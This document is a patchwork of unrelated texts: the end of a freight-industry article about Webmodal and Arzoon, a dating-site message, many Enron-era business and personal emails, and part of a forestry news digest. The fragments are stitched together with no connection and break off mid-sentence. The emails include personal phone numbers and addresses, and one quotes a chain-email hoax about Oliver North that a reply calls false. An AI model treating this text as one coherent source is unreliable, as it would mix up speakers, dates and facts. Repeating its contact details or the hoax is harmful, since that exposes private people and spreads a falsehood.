calls a "first-ever" schedule engine that works door to door. "Traditionally, 
the industry hasn't had a schedule engine that involves the 
'dray-plus-rail-plus-dray' services, so there's been pretty much a reliance 
on rules of thumb. But the truth is, it doesn't take anywhere near eight days 
for most origin-destination pairs. We have a very robust way of representing 
the capabilities of the dray carriers as well as the rail carriers, so that 
much more truck-like transit can be shown to be viable." 

Because of this, Webmodal sees itself as more of a technology and e-commerce 
company than a traditional IMC, and considers itself more a vendor than a 
competitor. How does a small or midsize IMC work as a customer of Webmodal? 
"Not all small IMCs are set up to do business with all of the railroads or 
with a large set of drayage companies," Kravas said. "What we do for them is 
give them a low-cost way to access, a comprehensive array of intermodal 
products and services available in the U.S. We've established ourselves as a 
business partner with a large base of first-rate drayage companies across the 
country. So if you're an IMC with an opportunity to handle freight in a new 
market, Webmodal allows you to put together a service and pay only a modest 
fee." Kravas wouldn't disclose the company's fee structure, only that it 
charges per shipment for a web-based order and a "slightly higher" fee for a 
phone or fax order. 

A smaller IMC also could use Webmodal to put in place a private version of 
its technology that would enable the IMC to better manage its business. "That 
would range from pricing, order fulfillment, customer service -- kind of the 
whole spectrum of capabilities that would allow an IMC to take advantage of 
our system," Kravas said. 

Everyone's waiting to see who's going to survive the transportation dot-com 
fallout. Before that happens, however, Freightwise may find itself as big a 
competitor with Arzoon as it is with a company like Webmodal. "We're starting 
from different points," said Freightwise's Joshi, "but down the line, yes, I 
can see" more head-to-head competition between the two companies. 

In addition to establishing itself in that 80 percent of the market devoted 
to transportation contracts, UP's Eisele notes that Arzoon also has a 
catalog-capability function, which eventually can be used to auction capacity 
in the spot market -- the market in which Freightwise is establishing itself. 
"We will very much have the capability to enable spot market buying," he 
said. 

As Webmodal's Kravas pointed out, "It's going to be an interesting next six 
months." 

Arzoon-A.T. Kearney partnership 

Consulting firm A.T. Kearney, a unit of Dallas-based EDS, and Arzoon, which 
provides Internet-based services for managing transportation work processes 
worldwide, have formed a strategic alliance. 

A.T. Kearney was one of the first to establish a dedicated practice helping 
shippers manage transportation more effectively on a global basis. Its 
clients now will have direct exposure to Arzoon's transportation management 
trading network, which provides online services for managing the full life 
cycle of work processes across all modes, systems and enterprises. 

Similarly, Arzoon and its clients can access "select" A.T. Kearney consulting 
services, the company said. That includes inbound transportation management, 
supply-chain and distribution rationalization, carrier selection and process 
improvement, Arzoon said.

"Superior transportation management has emerged as a critical success factor 
in the increasingly competitive world of commerce," said Randy Garber, 
transportation services co-leader of A.T. Kearney's operations services 
practice. "We think service companies, manufacturers and retailers that 
incorporate the speed, simplicity and efficiency of the Internet into their 
supply chains will lead their markets." 

The plan is for both A.T. Kearney and Arzoon to gain valuable understanding 
and insights into how the Internet creates great efficiencies in both the 
strategic and tactical needs of transportation professionals, Garber added. 

"We believe that the knowledge gained from this collaboration will benefit 
our clients as well as Arzoon's customers involved in the $1 trillion global 
freight transportation market," Garber said. 

An Arzoon official said the company was "very pleased" to be associated with 
A.T. Kearney, which Arzoon described as a "premier problem-so1ver." A.T. 
Kearney has a global presence that includes 62 offices in 37 countries. 
Arzoon.com, San Mateo, Calif., is a year-old Internet startup that describes 
itself as a company that is working on "the transformation of the worldwide 
transportation market into a networked community."

This is a copy of your message sent to Coloradochicky@talkmatch.com -->

Hello,

I ran across your picture and profile and was very impressed.  I sent along mine, take a look and maybe I'll hear back from you.

site.

However:

Please review my first draft.  I still need to add language to properly 
reflect the indices being used.  
Please forward to my any changes that you may desire or that may be needed.

The TX MONTHLY story.

Jim

From: 	wms <wms@kainon.com>@ENRON  
Sent:	Friday, November 02, 2001 5:28 PM
To:	'jsteffe@enron.com'
Subject:	Enron in Texas Monthly too

 <<Enron Blew It - 11-01.doc>>
I just opened my Texas Monthly, only to find more Enron news.

Did you see it?  The article entitled
"HOW ENRON BLEW IT"
Enron's Cutthroat Culture (on the cover)
Texas Monthly, November 2001 By Mimi Swartz

For Houston's sake as the Energy Capital, we hope the best for Enron as it
turns this thing around.
Attached is the article and below is the link and an excerpt.

If you have any comments on the article, we always like to hear them.

Best, Mark
281.374.6700x230

http://www.texasmonthly.com/mag/issues/authors/mimiswartz.php

INTRO EXCERPT
The Houston-based energy giant put the pursuit of profits ahead of all other
corporate goals, which fostered a climate of workaholism and paranoia.  And
that was only part of the problem.  (from the table of contents).

Less than a year ago, the Houston-based energy behemoth had everything:
money, power, glitz, smarts, new ideas, and a CEO who wanted to make it the
most important company in the world. Now its stock is down, Wall Street is
bearish, and the CEO is gone. What went wrong?

"It ain't what you don't know that gets you in trouble; it's what you know
for sure that ain't so."       -Mark Twain

Consulting  +  Staffing  +  Recruiting

 - Enron Blew It - 11-01.doc 

Start Date: 2/4/02; HourAhead hour: 10;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002020410.txt

Jeff,

Good job !   We thank you for your help.

Zimin

From: 	Ford, Jeff  
Sent:	Tuesday, June 05, 2001 1:35 PM
To:	Lee, Bob; Lu, Zimin
Subject:	FEA has been upgraded

Zimin, Bob - 

FEA has been upgraded to 2.1.
Also, I have added an icon, "FEA 2.1 - Storage Demo", that specifically loads Excel with the storage demo.

Please check and make sure that everything is running as it ought.

Jeff Ford
x36782

Johnnie Nelson repaired our flow direction controls today. 

From: 	Ellington, Michael  
Sent:	Monday, November 26, 2001 3:56 PM
To:	DL-ETS Gas Controllers
Subject:	PNM Rio Puerco

Had some problems getting this interconnect on rate today. Steve Richards went out and got the flow contol valves to where they will operate, however, we cannot change flow direction from Gas Control. If the direction needs to be changed, someone will have to go out and do the valve changing manually. 

Thanks,

Mike E.

---------------------- Forwarded by Kay Mann/Corp/Enron on 10/20/2000 12:42 
   
	From:  Kay Mann                           10/19/2000 03:47 PM
	
To: ppipitone@andrews-kurth.com
cc:  

Subject: LM 6000 Transformer Assignments

Hi Paul,

Any luck with the draft of the ABB facility agreement form?  Looks like we 
might have some business.

I have forwarded your draft of the turbine document to GE, but have not had 
any comments.  I would like to set up a conference call with GE to discuss 
it.  How is your schedule tomorrow or Monday?

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/19/2000 03:45 
   
	From:  Chris Booth                           10/19/2000 03:22 PM
	
To: michael.o.sandridge@us.abb.com
cc: Ed Dannhaus/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kathleen 
Clark/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kay Mann/Corp/Enron@Enron, Harry 
Okabayashi/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bruce 
Golden/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Mike,

Per our conversation today, please note the assignment of transformers to the 
PSCO / Fountain Valley Station project in El Paso county Colorado.

Unit / ABB Item # Guaranteed Delivery Date Site Designation

LNL 9517-1   11/17/00  El Paso County, Colorado 

LNL 9517-2   11/17/00  El Paso County, Colorado  

LNL 9517-3   12/01/00  El Paso County, Colorado  

Please feel free to call if you have any questions or concerns.

Chris

If that's on his business card yes.  I didn't know he had a PO.  Otherwise,
send it to him at North Loop

Sent: Wednesday, May 02, 2001 10:38 AM
To: ccampbell@kslaw.com
Cc: lee.johnson@ss.ps.ge.com; kent.shoemaker@ae.ge.com
Subject: Docs for GE

Lee/Kent,

Please confirm that GE's originals of the documents they signed should be
sent to:

GE Packaged Power, Inc.
P. O. Box 4414
Houston Tx  77210-4414

Thanks,
Kay

See Below in Blue.

D

Faye Ellis
09/01/2000 08:10 AM
cc: Donna Consemiu/HOU/ECT@ECT 
Subject: Lone Star Points

Daren, there were several points on your list that were previously created 
and the remainder have been created, with the exception explained below.

Donna and I researched your list and identified the ones that were on system 
(which she would create) and the ones that were off system (which I would 
create).

Standard Pooling Stations and West Texas (Line X) Pooling Stations had no 
meters, so they are not set up.  I will try to find the meter numbers for 
these locations.  I don't think we will be using them much.  So, it may be a 
few days before I get the info together.

The Hunt Fairway Plant (17-8477-01) was previously created as (178477), I 
need to know if the (01) needs to be added.  Please add the 01.

We need to verify HPL - Texoma (17-0973-13), it is set up as (17097613).  Is 
this the same point???  This is the same point.

Please let Donna and myself know how to proceed with the ones in red.

Thanks,
Faye

John, I would like to get 6 Associates and 4 Analysts for both Esat Power and Generation Investments,

Wow, I have not seen this email address pop up in a LONG TIME!  Did you fall down a well and were just recently rescued?

DB
281-787-0029 

From: 	"Damon, Allison (US - Houston)" <adamon@deloitte.com>@ENRON  
Sent:	Thursday, January 24, 2002 2:24 PM
To:	Andrea Walters; Marc Stewart; 'Allison Damon'; 'Christine'; Baughman Jr., Don; 'Donna Wilkerson'; 'Eric Korth'; 'Glenda Rosales'; 'Heather Zubke'; 'Joy Korth'; 'Kelly Warner'; 'Kevin Walters'; 'Lalena Stavinoha'; 'Lara Tippett'; 'Lisa Mudd'; 'Lynette Zoch'; 'Matt Thiem'; 'Reagan&Mary Marshall'; 'Reid Home'; 'Reid Work'; AddressListTooLong-Suppressed:;@ENRON
Subject:	RE: this is good

Way to go Andrea!  I love the Urban Legends website.

From: Andrea Walters [mailto:awalters96@yahoo.com]
Sent: Thursday, January 24, 2002 12:29 PM
To: Marc Stewart; 'Allison Damon'; 'Christine'; 'Don Baughman'; 'Donna
Wilkerson'; 'Eric Korth'; 'Glenda Rosales'; 'Heather Zubke'; 'Joy
Korth'; 'Kelly Warner'; 'Kevin Walters'; 'Lalena Stavinoha'; 'Lara
Tippett'; 'Lisa Mudd'; 'Lynette Zoch'; 'Matt Thiem'; 'Reagan&Mary
Marshall'; 'Reid Home'; 'Reid Work'; 'Scott Tichavsky';
AddressListTooLong-Suppressed
Subject: Re: this is good

This is false.  Go to this website for more info:

http://urbanlegends.about.com/library/blnorth.htm

Here's Ollie's response to this e-mail that's going
around:

"As you will note, the originator attributes to me
certain statements regarding Usama bin Laden and other
matters that are simply inaccurate. Though I would
like to claim the gift of prophesy, I don't have it."

--- Marc Stewart <Stewart@Mallia.com> wrote:
>
> > WAIT TILL YOU READ THIS ONE!! ANYONE REMEMBER
> THIS??  --  IT WAS 1987!
> >
> > At a UNC lecture the other day they played an old
> video of Lt.
> > Col.Oliver North testifying at the Iran-Contra
> hearings during the
> > Reagan Administration.  There was Ollie in front
> of God and country
> > getting the third degree. But what he said was
> stunning!!
> >
> > He was being drilled by some senator; "Did you not
> recently spend
> > close to $60,000 for a home security system?"
> > Ollie replied, "Yes I did sir."
> >
> > The senator continued, trying to get a laugh out
> of the audience,
> > "Isn't this just a little excessive?"
> > "No sir," continued Ollie.
> >
> > "No? And why not?" the senator asked.
> > "Because the lives of my family and I were
> threatened sir."
> >
> > 'Threatened? By whom?" the senator questioned.
> > "By a terrorist, sir." Ollie answered.
> >
> > "Terrorist? What terrorist could possibly scare
> you that much?"
> > "His name is Osama bin Laden sir." Ollie replied.
> >
> > At this point the senator tried to repeat the
> name, but couldn't
> > pronounce it, which most people back then probably
> couldn't. A couple
> > of people laughed at the attempt. Then the senator
> continued.
> >
> > "Why are you so afraid of this man?" the senator
> asked.
> > "Because sir, he is the most evil person alive
> that I know of," Ollie
> > answered.
> >
> > "And what do you recommend we do about him?" asked
> the senator.
> > "Well sir, if it were up to me, I would recommend
> that an assassin
> > team be formed to eliminate him and his men from
> the face of the
> > earth."
> >
> > The senator disagreed with this approach and that
> was all that was
> > shown of the clip.
> >
> > By the way......
> > The Senator that was questioning Ollie was named
> Al Gore!
> >

=====
Andrea Walters
awalters96@yahoo.com

Great stuff seeking new owners in Yahoo! Auctions!
http://auctions.yahoo.com
you are not the intended recipient, you should delete this message.  Any
disclosure, copying, or distribution of this message, or the taking of any
action based on it, is strictly prohibited.

I think you are right.  I thought we were going to do both.

Elizabeth Tilney@EES
06/13/2001 04:51 PM
To: Steven J Kean/NA/Enron@Enron, Mary Clark/Corp/Enron@ENRON, Karen 
cc:  

Subject: Your corner on the intranet

You know I love this idea , BUT I still think we need to let Ken personally 
address the "shots" he has taken.  It is just not the same to have Jeff say 
it is okay that the AG of California wants to put Ken in a cell with Spike!  
I strongly believe we need to give Ken a forum too, as he has been at the 
center of alot of the recent noise.  I still believe a video with both of 
them is the right way to go...The State of Enron.  I think Jeff's Corner is a 
great idea too...can't we do both?  Ok, I have said this enough..I will go 
away quietly now and let the experts decide...Beth
---------------------- Forwarded by Elizabeth Tilney/HOU/EES on 06/13/2001 
04:44 PM ---------------------------

Mary Clark@ENRON
06/13/2001 01:42 PM
To: Jeff Skilling/Enron@EnronXGate
cc: Sherri Sera/Enron@EnronXGate, Karen Denne/Corp/Enron@ENRON, Steven J 
Kean/NA/Enron@Enron (bcc: Elizabeth Tilney/HOU/EES)

Jeff --

Our Internal Communications group is continuing to look for ways to 
communicate with employees in a timely manner about hot topics that are of 
interest to them.  We're also looking to increase your exposure with 
employees.  We have a new idea, which Sherri discussed briefly with you a 
couple of weeks ago.  It's called "Jeff's Corner" and it will be a regular 
video message that will be posted on the intranet -- which can be accessed by 
99.9% of our employees.  

This is how it will work.  We will tape a 2-3 minute video of you talking 
about what's top of mind at that moment.  The tone and style will be like 
your floor meetings (one of your best employee venues), casual and 
conversational.  We suggest the first topic be "The State of Enron."  There 
is a lot of talk among employees about the cheap shots we've taken as a 
company and by you and Ken, about the decline in our stock price and about 
the widespread re-deployment efforts.   These recent events are  beginning to 
affect morale.  Employees are concerned and want to be assured that we're on 
the right side, that they will have jobs, that Enron will be here next year.  
You've helped reassure them about these things at recent floor meetings; 
however, that is only a small part of our global work force.  Having your own 
corner on the intranet will have a farther reach, and we have the capability 
to do this in-house at very low cost.  

We recommend making this a regular communication feature at least monthly, 
although since this would only involve a few minutes of your time, you could 
even tape a message to employees weekly.  The nice thing about this medium is 
we have the ability to respond immediately to current events, and having you 
speak to employees gives the message credibility.  

Future topics could address new cost saving procedures, update on Dabhol, the 
PRC, reasons behind an organizational announcement, The Pulse survey, etc.  
We'd like this to be a forum where you can talk about topics you'd like to 
discuss.

I've checked with the technical team, and we have the capability do this 
now.  I will check your calendar with Sherri.  Let me know if you have any 

Mary

Hi, Sooz,  Was just wondering how you're feeling.  It's getting a little
boring here and especially difficult to lay around when I keep thinking of
all I have to accomplish.  Supposed to have that pastel workshop tomorrow and
half day Sun. but don't know if I'm up to it.  Good luck with the party!
love, mum

Frank:
I spoke with her attorney yesterday and believe that I addressed her concerns 
with the ETA, GTC and Password Application forms.  She is going to add 
language to the Password Application that makes it clear that any GTC is 
considered to be "signed" and "in writing" if they are required by the 
Website to click on it.  Her main concern given the fact that we now have a 
Master in place with them is that they are not asked to accept the terms of a 
GTC and I assured her that so long as she has a Master in place that covers 
the product that she wants to trade that they will not be asked to accept a 
GTC.  Anyway, putting this language in the PA seemed to make her feel 
better.  Once you receive the PA from her why don't you fax it to me  and I 
will let you know if it is acceptable.

Also, as I discussed with Stephanie yesterday, they wanted to do a "test" run 
on the Website to check to make sure that they would not be asked to accept a 
GTC.  I told her that the only way to do this would be to click on a product 
description once they get their password.  I understand that you and Tana 
will coordinate with each other when the time comes to make sure that the 
ISDA Master that they executed gets coded into the Website at the proper time 
so that when they do click on a product description, no GTC appears.

EB 3892

ANDREWS, NAVEEN C               RUDI C ZIPTER                   Oct 31, 2000
CRENSHAW, SHIRLEY J             WINCENTY J KAMINSKI             Oct 26, 2000
KINDALL, KEVIN                  VASANT SHANBHOGUE               Oct 30, 2000
LAMAS VIEIRA PINTO, RODRIGO     DAVID PORT                      Oct 31, 2000
SUPATGIAT, CHONAWEE             PEYTON S GIBNER                 Oct 27, 2000
TAMARCHENKO, TANYA V            VASANT SHANBHOGUE               Oct 26, 2000
VILLARREAL, NORMA E             SHEILA H WALTON                 Oct 26, 2000
YAMAN, SEVIL                    VASANT SHANBHOGUE               Oct 27, 2000
YUAN, DING                      RICHARD L CARSON                Oct 31, 2000

Steve,

I am sending you a variety of charts with prices and operational detail.  If 
you need to call with questions my home number is 713-463-8626.

As far as recommendations, here is a short list:

 1.  Examine LDC's incentive rate program.  Current methodology rewards sales 
above monthly index without enough consideration of future 
      replacement cost.  The result is that the LDC's sell gas that should be 
injected into storage when daily prices run above the monthly index.
                    This creates a shortage in later months.

 2.  California has the storage capacity and pipeline capacity to meet 
demand.  Investigate why it wasn't maximized operationally.  
                      Specific questions should include:  

  1.  Why in March '00-May '00  weren't total system receipts higher in order 
to fill storage?

  2.  Why are there so many examples of OFO's on weekends that push away too 
much gas from Socal's system.  
       I believe Socal gas does an extremely poor job of forecasting their 
own demand.  They repeatedly estimated they would receive       more gas than 
their injection capablity, but injected far less.

 3.  Similar to the power market,  there is too much benchmarking to short 
term prices.  Not enough forward hedging is done by the major 
                    LDCs.  By design the customers are short at a floating 
rate.  This market has been long historically.  It has been a buyers market 
and the 
     consumer has benefitted.  

Call me if you need any more input.

Phillip

Kaye:

the attached "Enron forward" document below needs to be compared against the 
"forward template" that you saved in my directory today (confirms/equity).  I 
have an 11 a.m. meeting with Clint et al on Monday.  I'd like to have the 
comparison before the meeting, if possible.  Please let me know if this is 
possible.  Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 12/15/2000 05:48 PM -----

	"Franz, Philip" <pfranz@lehman.com>
	11/13/2000 09:39 AM
		 
		 To: "'sara.shackleton@enron.com'" <sara.shackleton@enron.com>, 
"'clint.freeland@enron.com'" <clint.freeland@enron.com>
		 cc: "Rosica, Paul" <prosica@lehman.com>, "Karna, Angie" <AKarna@lehman.com>, 
"Franz, Philip" <pfranz@lehman.com>
		 Subject: Enron Forward/Assignment confirms

Sara and Clint,
For your review per Paul...

 <<ENA.ENE.Assignment.11.13.00.doc>>

 <<Enron.forward.11.13.00.doc>>

 <<ENRON.ML.Assignment.11.13.00.doc>>

Regards,
Phil

Phil Franz
Transaction Management/Equity Derivatives
Lehman Brothers
(212)526-8482
pfranz@lehman.com
> This message is intended only for the personal and confidential use of the
> designated recipient(s) named above.  If you are not the intended
> recipient of this message you are hereby notified that any review,
> dissemination, distribution or copying of this message is strictly
> prohibited.  This communication is for information purposes only and
> should not be regarded as an offer to sell or as a solicitation of an
> offer to buy any financial product, an official confirmation of any
> transaction, or as an official statement of Lehman Brothers Inc., its
> subsidiaries or affiliates.  Email transmission cannot be guaranteed to be
> secure or error-free.  Therefore, we do not represent that this
> information is complete or accurate and it should not be relied upon as
> such.  All information is subject to change without notice.
>

 - ENA.ENE.Assignment.11.13.00.doc
 - Enron.forward.11.13.00.doc
 - ENRON.ML.Assignment.11.13.00.doc

Daren,

I contend that a person should be given their birthday as a paid holiday.
However, I know that the likelihood of your being off work during bid week
is extremely slim.  I hope that you have a great day anyway and a great
weekend with your precious family.  We'll give you a call this evening or
over the weekend to extend our birthday greeting (and so Sally can sing to
you).

We are so looking forward to seeing you, Tonya, Cole and Jake next weekend.
We're disappointed that you will not be able to come until the weekend but
are grateful that you are willing to share your family and allow them to
come a few days early.  We will certainly enjoy our visit with them.

Thank you for being the wonderful husband and best friend to Tonya that you
are.  It gives Sally and me such joy seeing Tonya highly honored and loved
by you.  You are a wonderful father too and it's so apparent the bond of
love that you enjoy with your sons.  They watch your every move and hang on
your every word.  We're so very proud of you for being the spiritual leader
of your family, for being such an outstanding provider for their every need,
and for putting up with the "outlaws".  In addition to our friendship, I
love you as my own son.  Again, happy birthday.

David

Dan,
This a.m., BancFirst (the Enernet mortgage holder referenced below) has
agreed to execute a
subordination agreement in favor of Enron.  This can be completed quickly.
I will forward
the executed subordination agreement to you asap.

Now that the BancFirst mortgage is no longer an issue, we need to get all
agreements signed.
Once I get the subordination to you, when can we get final agreement drafts
to review?

A review of the county records should have taken about 1/2 of a day.  What's
status of this review
of the county records?

Doug

From: Dan.J.Bump@enron.com [mailto:Dan.J.Bump@enron.com]
Sent: Tuesday, February 22, 2000 12:30 PM
To: O'Bannon, Robert O.
Cc: dkg@enernetok.com
Subject: RE: FW: Mortgage Agreement

Bob--

First, the air permits finally went to public comment on Feb. 14th (we have
received actual copies from the DEQ confirming this); with any luck, we'll
have air permits issued by the 3rd week of March.

In order to proceed with our deal, Enron would like to request that Enernet
work out a deal with their current mortgage holder wherein Enron would not
be subordinate to the current lender.  Although I've copied Doug on this
e-mail, I hope to speak with him verbally to find out if this can be
completed quickly.  I realize that you need to be constructing your
gathering system, so we all need to get this deal finalized.   I assure you
that I am pushing Houston from my end.  In this regard, I do not know yet
if any additional info will be required from Quantum.  I told Houston that
I need to know by tomorrow.

Please pass on to Paul the air permit info.

Thanks.

Dan

Dar, are you on-line?  If so, please answer back.  I have questions.  Well, 
I'll ask them.  Did you get the wedding pics?

me

Fort Worth:
The Worthington
200 Main Street
817-870-1000

WEST VIRGINIA

The Greenbrier
300 West Main Street
White Sulphur Springs
WV, 24988-2498
304-536-7804 (W)
304-536-7874 (F)
http://www.greenbrier.com

Congratulations to you and Lanettte on the birth of Nicole Mackenzie.  What a 
pretty name!  I was in London last week and got the news while I was there.  

I hope that everyone in your household is doing well, although I know that 
you are probably a bit sleep deprived.  That will pass - although with your 
first one that is really hard to believe.  Please stop by as soon as you have 
pictures.  I would love to see them.  --Sally 

As a follow up to Jim's note, a meeting has been scheduled for Tuesday, June 
19th at 9:00 a.m. to discuss federal oversight over:  (1) EOL; (2) physical 
energy products; and (3) financial energy products.   An agenda for the 
meeting is attached.

The meeting will be held in EB47c1.    

Lisa

----- Forwarded by Lisa Yoho/NA/Enron on 06/13/2001 08:56 AM -----

	06/06/2001 05:45 PM
		 
		 To: Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Mark E 
Haedicke/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Lisa Yoho/NA/Enron@Enron, 
Sarah Novosel/Corp/Enron@ENRON, Linda Robertson/NA/Enron@ENRON, Christi L 
Nicolay/HOU/ECT@ECT
		 cc: 
		 Subject: EOL Regulation - CFTC or FERC?

As you are all probably aware, FERC staff will be conducting a visit to Enron 
next Monday to discuss EOL and electronic trading's role in the energy 
markets.   Dave Forester, Kevin Presto, and Phillip Allen will be giving 
presentations about the EOL platform, power trading, and gas trading, 
respectively.

In preparing for the meetings, the issue of which agency, CFTC or FERC, 
regulates the EOL platform and any energy related financial products sold by 
Enron (everyone agreed that physical deals through EOL were FERC 
jurisdictional) came up.

It is unclear about Enron's current position.  While there is a strong case 
that both the EOL platform and any energy related financial products are 
regulated by the CFTC, some people believed that Enron had previously 
informed FERC that they were the "appropriate" agency for the energy related 
financial products.

We do not intend to make an issue of this topic with the FERC staff on 
Monday, but rather wanted to make sure that everyone was on the same page 

Please let me know if we need to have a meeting to bring this to closure.

Jim

Yes please - SAS.  I think I just need to renew - I haven't actually used
it on my new machine but I believe it is there.

At 05:20 PM 10/24/2001 -0500, you wrote:
>I need to coordinate our order for SAS and SPSS both renewals and new
>orders.  These are on a university license and each one costs about $80 per
>license.  The charge will be passed on to your research account.
>
>Those of you with existing SAS installations, your version will keep
>working until December.  At that time it will stop working unless renewed.
>
>SPSS is coming out with a version 11 and I have asked Mudd to let me know
>when that is available.
>
>If you 1) need either of these packages now for a fresh installation or 2)
>plan on renewing the software that you currently have installed, please let
>me know.
>------------------
>David Kilgore               Jones Graduate School - Rice University
>kilgore@rice.edu          6100 S. Main - MS 531
>713-348-5378               Houston, TX 77005

  <http://www.forestweb.com/digest/images/news/corps/199.gif>
NewsBeat:Daily News 11/26/2001

This email is a daily service of Forestweb <http://www.forestweb.com>'s NewsBeat.

All the stories from Monday, Nov. 26, are available under Monday's Headlines. <http://www.forestweb.com/taf/yesterday.taf?dt=11/26/01>

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Contents

1.      IP records $256M in 3Q charges: $41M severance for 1,176 jobs cut in U.S., France ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15538>...)

2.      Finch, Pruyn stike ends; only 35 jobs not already filled ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15556>...)

3.      Eastern Pulp & Paper making chlorine-free pulp with new process ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15578>...)

4.      Pactiv sells single-faced corrugated unit to Palm Industrie of The Netherlands ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15549>...)

5.      U.S. lumber imports dip in September, but up 3.9% through 9 months ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15582>...)

6.      AF&PA says study shows southern forests well managed, urban sprawl poses threat ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15555>...)

7.      Pettigrew denies reports Quebec in separate softwood deal with U.S. ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15558>...)

8.      Ainsworth to take week shut at Alberta joint-venture OSB mill ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15574>...)

9.      Nexfor to take 9-week, market-related shut on MDF line in Scotland ( More <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#story15547>...)

IP records $256M in 3Q charges: $41M severance for 1,176 jobs cut in U.S., France

11/25/2001 22:36:41, Forestweb

  By James McLaren

SAN FRANCISCO, Nov. 26, 2001 (Forestweb) - International Paper Co. noted in its recent 10-Q filing with the SEC that it recorded $256 million in special charges in the third qu...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15538&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Finch, Pruyn stike ends; only 35 jobs not already filled

11/26/2001 10:59:15, Press Release

      Unions accept company's latest contract offer

GLENS FALLS, NY, Nov. 23, 2001 (press release) - The seven union locals representing hourly workers at the Finch, Pruyn & Co., Inc. paper mill in ...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15556&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Eastern Pulp & Paper making chlorine-free pulp with new process

11/26/2001 17:31:53, Press Release

Aggressive Use of Oxygen in Pulp-making Yields Major Environmental Advances

Maine Gov. King gives company pollution prevention award.

LINCOLN, Maine, Nov. 26, 2001 (press relea...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15578&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Pactiv sells single-faced corrugated unit to Palm Industrie of The Netherlands

11/26/2001 08:46:40, BW

LAKE FOREST, Ill., Nov. 26, 2001 (Business Wire/press release)--Pactiv Corporation (NYSE: PTV - news) today announced the sale of its single-faced corrugated business based in The Netherlands to Palm Industrie Beteiligungs GmbH Co. KG. The single-faced corrugated business had sales of approximately $20 million in 2000. Terms of the deal were not disclosed. The sale of this business is another step in the restructuring of the Company's Protective and Flexible Packaging segment announced in January 2001. ...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15549&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

U.S. lumber imports dip in September, but up 3.9% through 9 months

11/26/2001 22:24:57, Forestweb

  By Linda K. Barr

PORT ORCHARD, Wash., Nov. 26, 2001 (Forestweb) -- Import statistics recently released by the United States Department of Commerce for September show that the U.S. imported less ...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15582&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

AF&PA says study shows southern forests well managed, urban sprawl poses threat

11/26/2001 10:43:31, Press Release

      WASHINGTON, D.C., Nov. 26, 2001 (press release) -- The Federal Government has released the long awaited Southern Forest Resource Assessment (SFRA) today, a multi-agency, multi-year study of southern forests. The study, headed up by the U.S. Forest Service, concluded southern forests are healthy and being sustainably managed, but did flag continued urban growth as a potential threat to long-term sustainability....
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15555&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Pettigrew denies reports Quebec in separate softwood deal with U.S.

11/26/2001 11:34:49, National Post (Canada)

     Editor's note: A Quebec cabinet minister reportedly expects Quebec to strike its own softwood deal with the U.S. within weeks. Ontario is on record in favor of province-specific negotiations, and the B.C. Lumber Trade Council has indicated it may support individual province-U.S. deals ...
